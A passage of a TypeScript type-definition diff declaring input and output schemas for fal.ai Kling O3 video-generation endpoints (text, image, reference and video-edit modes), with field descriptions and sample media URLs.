+ enable_safety_checker?: boolean +} + +export type File25C397Ee = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +/** + * @description Output for O3 4k text-to-video endpoint. + * @type object + */ +export type OutputFalAiKlingVideoO34KTextToVideo = { + /** + * @description The generated video. + * @example {"file_size":13096952,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a8d04e2/idOb9V-Q9ujlggPSKqsfS_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File25C397Ee +} + +export type KlingV3ImageElementInput = { + /** + * @description Additional reference images from different angles. 1-3 images supported. At least one image is required. + */ + reference_image_urls?: string[] | null + /** + * @description The frontal image of the element (main view). + */ + frontal_image_url?: string | null +} + +/** + * @description Input for O3 4K video editing. + * @type object + */ +export type InputFalAiKlingVideoO34KVideoToVideoEdit = { + /** + * @description Whether to keep the original audio from the reference video. + * @default true + * @type boolean | undefined + */ + keep_audio?: boolean + /** + * @description Reference video URL. Only .mp4/.mov formats, 3-15s duration, 720-3840px resolution, max 200MB. + * @example https://storage.googleapis.com/falserverless/example_inputs/kling-o3/pro-v2v-edit/video_reference.mp4 + * @type string + */ + video_url: string + /** + * @description Text prompt for video generation. Reference video as @Video1. + * @maxLength 2500 + * @example Change environment to be fully snow as @Image1. Replace animal with @Element1 + * @type string + */ + prompt: string + /** + * @description Elements (characters/objects) to include. Reference in prompt as @Element1, @Element2. + * @example [{"reference_image_urls":["https://storage.googleapis.com/falserverless/example_inputs/kling-o3/pro-v2v-edit/element1_reference1.png"],"frontal_image_url":"https://storage.googleapis.com/falserverless/example_inputs/kling-o3/pro-v2v-edit/element1_front.png"}] + */ + elements?: KlingV3ImageElementInput[] | null + /** + * @description Reference images for style/appearance. Reference in prompt as @Image1, @Image2, etc. Maximum 4 total (elements + reference images) when using video. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/kling-o3/pro-v2v-edit/image_url1.jpg"] + */ + image_urls?: string[] | null + /** + * @description The type of multi-shot video generation. + * @default 'customize' + * @type string | undefined + */ + shot_type?: 'customize' + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File3Bb61E2D = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description Output for the O3 4K video-edit endpoint. + * @type object + */ +export type OutputFalAiKlingVideoO34KVideoToVideoEdit = { + /** + * @description The generated video. + * @example {"content_type":"video/mp4","file_size":4322769,"file_name":"output.mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/kling-o3/pro-v2v-edit/output.mp4"} + * @type object + */ + video: File3Bb61E2D +} + +export const inputFalAiKlingVideoO34KVideoToVideoReferenceDuration = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoO34KVideoToVideoReferenceDurationKey = + (typeof inputFalAiKlingVideoO34KVideoToVideoReferenceDuration)[keyof typeof inputFalAiKlingVideoO34KVideoToVideoReferenceDuration] + +export const inputFalAiKlingVideoO34KVideoToVideoReferenceAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiKlingVideoO34KVideoToVideoReferenceAspectRatioEnumKey = + (typeof inputFalAiKlingVideoO34KVideoToVideoReferenceAspectRatioEnum)[keyof typeof inputFalAiKlingVideoO34KVideoToVideoReferenceAspectRatioEnum] + +/** + * @description Input for O3 4K video-reference generation. + * @type object + */ +export type InputFalAiKlingVideoO34KVideoToVideoReference = { + /** + * @description Whether to keep the original audio from the reference video. + * @default true + * @example false + * @type boolean | undefined + */ + keep_audio?: boolean + /** + * @description Reference video URL. Only .mp4/.mov formats, 3-15s duration, 720-3840px resolution, max 200MB. + * @example https://storage.googleapis.com/falserverless/example_inputs/kling-o3/pro-v2v-reference/video_reference.mp4 + * @type string + */ + video_url: string + /** + * @description Video duration in seconds (3-15s for reference video). + * @example 5 + */ + duration?: InputFalAiKlingVideoO34KVideoToVideoReferenceDurationKey | null + /** + * @description Aspect ratio. + * @default 'auto' + * @example auto + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoO34KVideoToVideoReferenceAspectRatioEnumKey + /** + * @description Elements (characters/objects) to include. Reference in prompt as @Element1, @Element2. + * @example [{"reference_image_urls":["https://storage.googleapis.com/falserverless/example_inputs/kling-o3/pro-v2v-reference/element1_reference1.png"],"frontal_image_url":"https://storage.googleapis.com/falserverless/example_inputs/kling-o3/pro-v2v-reference/element1_front.png"}] + */ + elements?: KlingV3ImageElementInput[] | null + /** + * @description The type of multi-shot video generation. + * @default 'customize' + * @type string | undefined + */ + shot_type?: 'customize' + /** + * @description Text prompt for video generation. Reference video as @Video1. + * @maxLength 2500 + * @example Integrate @Element1 in the scene. Style video should be following watercolor style of @Image1 + * @type string + */ + prompt: string + /** + * @description Reference images for style/appearance. Reference in prompt as @Image1, @Image2, etc. Maximum 4 total (elements + reference images) when using video. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/kling-o3/pro-v2v-reference/image_url1.jpg","https://storage.googleapis.com/falserverless/example_inputs/kling-o3/pro-v2v-reference/image_url2.jpg"] + */ + image_urls?: string[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File9C6Baee0 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description Output for the O3 4K video-reference endpoint. + * @type object + */ +export type OutputFalAiKlingVideoO34KVideoToVideoReference = { + /** + * @description The generated video. + * @example {"content_type":"video/mp4","file_size":15809901,"file_name":"output.mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/kling-o3/pro-v2v-reference/output.mp4"} + * @type object + */ + video: File9C6Baee0 +} + +export const inputFalAiKlingVideoO3ProImageToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoO3ProImageToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoO3ProImageToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoO3ProImageToVideoDurationEnum] + +export const inputFalAiKlingVideoO3ProImageToVideoShotTypeEnum = { + customize: 'customize', + intelligent: 'intelligent', +} as const + +export type InputFalAiKlingVideoO3ProImageToVideoShotTypeEnumKey = + (typeof inputFalAiKlingVideoO3ProImageToVideoShotTypeEnum)[keyof typeof inputFalAiKlingVideoO3ProImageToVideoShotTypeEnum] + +export type InputFalAiKlingVideoO3ProImageToVideo = { + /** + * @description URL of the start frame image. + * @example https://v3b.fal.media/files/b/0a8cfd5a/8ABMp4n9rh3kfD2Rq8fHd_start_frame.png + * @type string + */ + image_url: string + /** + * @description Video duration in seconds (3-15s). + * @default '5' + * @example 10 + * @type string | undefined + */ + duration?: InputFalAiKlingVideoO3ProImageToVideoDurationEnumKey + /** + * @description URL of the end frame image (optional). + */ + end_image_url?: string | null + /** + * @description The type of multi-shot video generation. 'intelligent' lets the model automatically determine shot structure. + * @default 'customize' + * @type string | undefined + */ + shot_type?: InputFalAiKlingVideoO3ProImageToVideoShotTypeEnumKey + /** + * @description Text prompt for video generation. Either prompt or multi_prompt must be provided, but not both. + * @example The character walks forward slowly, with the camera following from behind. + */ + prompt?: string | null + /** + * @description Whether to generate native audio for the video. + * @default false + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description List of prompts for multi-shot video generation. + * @example null + */ + multi_prompt?: KlingV3MultiPromptElement[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File75A22F6A = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoO3ProImageToVideo = { + /** + * @description The generated video. + * @example {"file_size":12037975,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a8d0278/pgIO9yOXTFCTetKBsqDwX_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File75A22F6A +} + +export const inputFalAiKlingVideoO3ProReferenceToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoO3ProReferenceToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoO3ProReferenceToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoO3ProReferenceToVideoDurationEnum] + +export const inputFalAiKlingVideoO3ProReferenceToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiKlingVideoO3ProReferenceToVideoAspectRatioEnumKey = + (typeof inputFalAiKlingVideoO3ProReferenceToVideoAspectRatioEnum)[keyof typeof inputFalAiKlingVideoO3ProReferenceToVideoAspectRatioEnum] + +export const inputFalAiKlingVideoO3ProReferenceToVideoShotTypeEnum = { + customize: 'customize', + intelligent: 'intelligent', +} as const + +export type InputFalAiKlingVideoO3ProReferenceToVideoShotTypeEnumKey = + (typeof inputFalAiKlingVideoO3ProReferenceToVideoShotTypeEnum)[keyof typeof inputFalAiKlingVideoO3ProReferenceToVideoShotTypeEnum] + +export type InputFalAiKlingVideoO3ProReferenceToVideo = { + /** + * @description Video duration in seconds (3-15s). + * @default '5' + * @example 8 + * @type string | undefined + */ + duration?: InputFalAiKlingVideoO3ProReferenceToVideoDurationEnumKey + /** + * @description Image to use as the last frame of the video. + */ + end_image_url?: string | null + /** + * @description The aspect ratio of the generated video frame. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoO3ProReferenceToVideoAspectRatioEnumKey + /** + * @description Elements (characters/objects) to include. Reference in prompt as @Element1, @Element2. + * @example [{"reference_image_urls":["https://v3b.fal.media/files/b/0a8d1b1a/eZfSbcQ58EzD_l2SEbevg_F3U9GMLK.png"],"frontal_image_url":"https://v3b.fal.media/files/b/0a8d1b2e/yiHiZP1Now0V5JC5_OClE_PaKOtOGJ.png"},{"reference_image_urls":["https://v3b.fal.media/files/b/0a8d1b3c/_ZE2iIjkb-Eun3WXXGP4x_TSG1ELBo.png"],"frontal_image_url":"https://v3b.fal.media/files/b/0a8d1b19/_eIj7GjmI5zgQkMN936YJ_2f3hZ7Xb.png"}] + */ + elements?: KlingV3ComboElementInput[] | null + /** + * @description The type of multi-shot video generation. 'intelligent' lets the model automatically determine shot structure. + * @default 'customize' + * @type string | undefined + */ + shot_type?: InputFalAiKlingVideoO3ProReferenceToVideoShotTypeEnumKey + /** + * @description Text prompt for video generation. Either prompt or multi_prompt must be provided, but not both. + * @example @Element1 and @Element2 enters the scene from two sides. Elephant starts to play with the ball + */ + prompt?: string | null + /** + * @description Whether to generate native audio for the video. + * @default false + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Image to use as the first frame of the video. + * @example https://v3b.fal.media/files/b/0a8d1b38/myilPNN_WYdJCmpTy4Sjr_6XNBi9Mm.png + */ + start_image_url?: string | null + /** + * @description Reference images for style/appearance. Reference in prompt as @Image1, @Image2, etc. Maximum 4 total (elements + reference images) when using video. + */ + image_urls?: string[] | null + /** + * @description List of prompts for multi-shot video generation. + * @example null + */ + multi_prompt?: KlingV3MultiPromptElement[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File9410Ba42 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoO3ProReferenceToVideo = { + /** + * @description The generated video. + * @example {"file_size":18468404,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a8d1c8a/ZxdKrvPb3CQEmeuS-u_kU_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File9410Ba42 +} + +export const inputFalAiKlingVideoO3ProTextToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoO3ProTextToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoO3ProTextToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoO3ProTextToVideoDurationEnum] + +export const inputFalAiKlingVideoO3ProTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiKlingVideoO3ProTextToVideoAspectRatioEnumKey = + (typeof inputFalAiKlingVideoO3ProTextToVideoAspectRatioEnum)[keyof typeof inputFalAiKlingVideoO3ProTextToVideoAspectRatioEnum] + +export const inputFalAiKlingVideoO3ProTextToVideoShotTypeEnum = { + customize: 'customize', + intelligent: 'intelligent', +} as const + +export type InputFalAiKlingVideoO3ProTextToVideoShotTypeEnumKey = + (typeof inputFalAiKlingVideoO3ProTextToVideoShotTypeEnum)[keyof typeof inputFalAiKlingVideoO3ProTextToVideoShotTypeEnum] + +export type InputFalAiKlingVideoO3ProTextToVideo = { + /** + * @description Whether to generate native audio for the video. + * @default false + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Text prompt for video generation. Required unless multi_prompt is provided. + * @example A mecha lands on the ground to save the city, and says "I'm here", in anime style + */ + prompt?: string | null + /** + * @description Video duration in seconds (3-15s). + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoO3ProTextToVideoDurationEnumKey + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoO3ProTextToVideoAspectRatioEnumKey + /** + * @description List of prompts for multi-shot video generation. + * @example null + */ + multi_prompt?: KlingV3MultiPromptElement[] | null + /** + * @description The type of multi-shot video generation. 'intelligent' lets the model automatically determine shot structure. + * @default 'customize' + * @type string | undefined + */ + shot_type?: InputFalAiKlingVideoO3ProTextToVideoShotTypeEnumKey + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileE84A7B18 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +/** + * @description Output for O3 video generation endpoints. + * @type object + */ +export type OutputFalAiKlingVideoO3ProTextToVideo = { + /** + * @description The generated video. + * @example {"file_size":13096952,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a8d04e2/idOb9V-Q9ujlggPSKqsfS_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: FileE84A7B18 +} + +export type InputFalAiKlingVideoO3ProVideoToVideoEdit = { + /** + * @description Whether to keep the original audio from the reference video. + * @default true + * @type boolean | undefined + */ + keep_audio?: boolean + /** + * @description Reference video URL. Only .mp4/.mov formats, 3-15s duration, 720-3840px resolution, max 200MB. + * @example https://storage.googleapis.com/falserverless/example_inputs/kling-o3/pro-v2v-edit/video_reference.mp4 + * @type string + */ + video_url: string + /** + * @description Text prompt for video generation. Reference video as @Video1. + * @maxLength 2500 + * @example Change environment to be fully snow as @Image1. Replace animal with @Element1 + * @type string + */ + prompt: string + /** + * @description Elements (characters/objects) to include. Reference in prompt as @Element1, @Element2. + * @example [{"reference_image_urls":["https://storage.googleapis.com/falserverless/example_inputs/kling-o3/pro-v2v-edit/element1_reference1.png"],"frontal_image_url":"https://storage.googleapis.com/falserverless/example_inputs/kling-o3/pro-v2v-edit/element1_front.png"}] + */ + elements?: KlingV3ImageElementInput[] | null + /** + * @description Reference images for style/appearance. Reference in prompt as @Image1, @Image2, etc. Maximum 4 total (elements + reference images) when using video. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/kling-o3/pro-v2v-edit/image_url1.jpg"] + */ + image_urls?: string[] | null + /** + * @description The type of multi-shot video generation. + * @default 'customize' + * @type string | undefined + */ + shot_type?: 'customize' + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File0C8B4Cbb = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoO3ProVideoToVideoEdit = { + /** + * @description The generated video. + * @example {"file_size":4322769,"content_type":"video/mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/kling-o3/pro-v2v-edit/output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File0C8B4Cbb +} + +export const inputFalAiKlingVideoO3ProVideoToVideoReferenceDuration = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoO3ProVideoToVideoReferenceDurationKey = + (typeof inputFalAiKlingVideoO3ProVideoToVideoReferenceDuration)[keyof typeof inputFalAiKlingVideoO3ProVideoToVideoReferenceDuration] + +export const inputFalAiKlingVideoO3ProVideoToVideoReferenceAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiKlingVideoO3ProVideoToVideoReferenceAspectRatioEnumKey = + (typeof inputFalAiKlingVideoO3ProVideoToVideoReferenceAspectRatioEnum)[keyof typeof inputFalAiKlingVideoO3ProVideoToVideoReferenceAspectRatioEnum] + +export type InputFalAiKlingVideoO3ProVideoToVideoReference = { + /** + * @description Whether to keep the original audio from the reference video. + * @default true + * @example false + * @type boolean | undefined + */ + keep_audio?: boolean + /** + * @description Reference video URL. Only .mp4/.mov formats, 3-15s duration, 720-3840px resolution, max 200MB. + * @example https://storage.googleapis.com/falserverless/example_inputs/kling-o3/pro-v2v-reference/video_reference.mp4 + * @type string + */ + video_url: string + /** + * @description Video duration in seconds (3-15s for reference video). + * @example 5 + */ + duration?: InputFalAiKlingVideoO3ProVideoToVideoReferenceDurationKey | null + /** + * @description Aspect ratio. + * @default 'auto' + * @example auto + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoO3ProVideoToVideoReferenceAspectRatioEnumKey + /** + * @description Elements (characters/objects) to include. Reference in prompt as @Element1, @Element2. + * @example [{"reference_image_urls":["https://storage.googleapis.com/falserverless/example_inputs/kling-o3/pro-v2v-reference/element1_reference1.png"],"frontal_image_url":"https://storage.googleapis.com/falserverless/example_inputs/kling-o3/pro-v2v-reference/element1_front.png"}] + */ + elements?: KlingV3ImageElementInput[] | null + /** + * @description The type of multi-shot video generation. + * @default 'customize' + * @type string | undefined + */ + shot_type?: 'customize' + /** + * @description Text prompt for video generation. Reference video as @Video1. + * @maxLength 2500 + * @example Integrate @Element1 in the scene. Style video should be following watercolor style of @Image1 + * @type string + */ + prompt: string + /** + * @description Reference images for style/appearance. Reference in prompt as @Image1, @Image2, etc. Maximum 4 total (elements + reference images) when using video. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/kling-o3/pro-v2v-reference/image_url1.jpg","https://storage.googleapis.com/falserverless/example_inputs/kling-o3/pro-v2v-reference/image_url2.jpg"] + */ + image_urls?: string[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileEf63Be76 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoO3ProVideoToVideoReference = { + /** + * @description The generated video. + * @example {"file_size":15809901,"content_type":"video/mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/kling-o3/pro-v2v-reference/output.mp4","file_name":"output.mp4"} + * @type object + */ + video: FileEf63Be76 +} + +export const inputFalAiKlingVideoO3StandardImageToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoO3StandardImageToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoO3StandardImageToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoO3StandardImageToVideoDurationEnum] + +export const inputFalAiKlingVideoO3StandardImageToVideoShotTypeEnum = { + customize: 'customize', + intelligent: 'intelligent', +} as const + +export type InputFalAiKlingVideoO3StandardImageToVideoShotTypeEnumKey = + (typeof inputFalAiKlingVideoO3StandardImageToVideoShotTypeEnum)[keyof typeof inputFalAiKlingVideoO3StandardImageToVideoShotTypeEnum] + +export type InputFalAiKlingVideoO3StandardImageToVideo = { + /** + * @description URL of the start frame image. + * @example https://v3b.fal.media/files/b/0a8cfd5a/8ABMp4n9rh3kfD2Rq8fHd_start_frame.png + * @type string + */ + image_url: string + /** + * @description Video duration in seconds (3-15s). + * @default '5' + * @example 10 + * @type string | undefined + */ + duration?: InputFalAiKlingVideoO3StandardImageToVideoDurationEnumKey + /** + * @description URL of the end frame image (optional). + */ + end_image_url?: string | null + /** + * @description The type of multi-shot video generation. 'intelligent' lets the model automatically determine shot structure. + * @default 'customize' + * @type string | undefined + */ + shot_type?: InputFalAiKlingVideoO3StandardImageToVideoShotTypeEnumKey + /** + * @description Text prompt for video generation. Either prompt or multi_prompt must be provided, but not both. + * @example The character walks forward slowly, with the camera following from behind. + */ + prompt?: string | null + /** + * @description Whether to generate native audio for the video. + * @default false + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description List of prompts for multi-shot video generation. + * @example null + */ + multi_prompt?: KlingV3MultiPromptElement[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File701489C0 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoO3StandardImageToVideo = { + /** + * @description The generated video. + * @example {"file_size":12037975,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a8d0278/pgIO9yOXTFCTetKBsqDwX_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File701489C0 +} + +export const inputFalAiKlingVideoO3StandardReferenceToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoO3StandardReferenceToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoO3StandardReferenceToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoO3StandardReferenceToVideoDurationEnum] + +export const inputFalAiKlingVideoO3StandardReferenceToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiKlingVideoO3StandardReferenceToVideoAspectRatioEnumKey = + (typeof inputFalAiKlingVideoO3StandardReferenceToVideoAspectRatioEnum)[keyof typeof inputFalAiKlingVideoO3StandardReferenceToVideoAspectRatioEnum] + +export const inputFalAiKlingVideoO3StandardReferenceToVideoShotTypeEnum = { + customize: 'customize', + intelligent: 'intelligent', +} as const + +export type InputFalAiKlingVideoO3StandardReferenceToVideoShotTypeEnumKey = + (typeof inputFalAiKlingVideoO3StandardReferenceToVideoShotTypeEnum)[keyof typeof inputFalAiKlingVideoO3StandardReferenceToVideoShotTypeEnum] + +export type InputFalAiKlingVideoO3StandardReferenceToVideo = { + /** + * @description Video duration in seconds (3-15s). + * @default '5' + * @example 8 + * @type string | undefined + */ + duration?: InputFalAiKlingVideoO3StandardReferenceToVideoDurationEnumKey + /** + * @description Image to use as the last frame of the video. + */ + end_image_url?: string | null + /** + * @description The aspect ratio of the generated video frame. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoO3StandardReferenceToVideoAspectRatioEnumKey + /** + * @description Elements (characters/objects) to include. Reference in prompt as @Element1, @Element2. + */ + elements?: KlingV3ComboElementInput[] | null + /** + * @description The type of multi-shot video generation. 'intelligent' lets the model automatically determine shot structure. + * @default 'customize' + * @type string | undefined + */ + shot_type?: InputFalAiKlingVideoO3StandardReferenceToVideoShotTypeEnumKey + /** + * @description Text prompt for video generation. Either prompt or multi_prompt must be provided, but not both. + * @example @Element1 and @Element2 is having dinner at this table on @Image1 + */ + prompt?: string | null + /** + * @description Whether to generate native audio for the video. + * @default false + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Image to use as the first frame of the video. + */ + start_image_url?: string | null + /** + * @description Reference images for style/appearance. Reference in prompt as @Image1, @Image2, etc. Maximum 4 total (elements + reference images) when using video. + */ + image_urls?: string[] | null + /** + * @description List of prompts for multi-shot video generation. + * @example null + */ + multi_prompt?: KlingV3MultiPromptElement[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File19167478 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoO3StandardReferenceToVideo = { + /** + * @description The generated video. + * @example {"file_size":3192162,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a8d200d/ejCxI5DalzOPlP4yf6uP3_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File19167478 +} + +export const inputFalAiKlingVideoO3StandardTextToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoO3StandardTextToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoO3StandardTextToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoO3StandardTextToVideoDurationEnum] + +export const inputFalAiKlingVideoO3StandardTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiKlingVideoO3StandardTextToVideoAspectRatioEnumKey = + (typeof inputFalAiKlingVideoO3StandardTextToVideoAspectRatioEnum)[keyof typeof inputFalAiKlingVideoO3StandardTextToVideoAspectRatioEnum] + +export const inputFalAiKlingVideoO3StandardTextToVideoShotTypeEnum = { + customize: 'customize', + intelligent: 'intelligent', +} as const + +export type InputFalAiKlingVideoO3StandardTextToVideoShotTypeEnumKey = + (typeof inputFalAiKlingVideoO3StandardTextToVideoShotTypeEnum)[keyof typeof inputFalAiKlingVideoO3StandardTextToVideoShotTypeEnum] + +export type InputFalAiKlingVideoO3StandardTextToVideo = { + /** + * @description Whether to generate native audio for the video. + * @default false + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Text prompt for video generation. Required unless multi_prompt is provided. + * @example A mecha lands on the ground to save the city, and says "I'm here", in anime style + */ + prompt?: string | null + /** + * @description Video duration in seconds (3-15s). + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoO3StandardTextToVideoDurationEnumKey + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoO3StandardTextToVideoAspectRatioEnumKey + /** + * @description List of prompts for multi-shot video generation. + * @example null + */ + 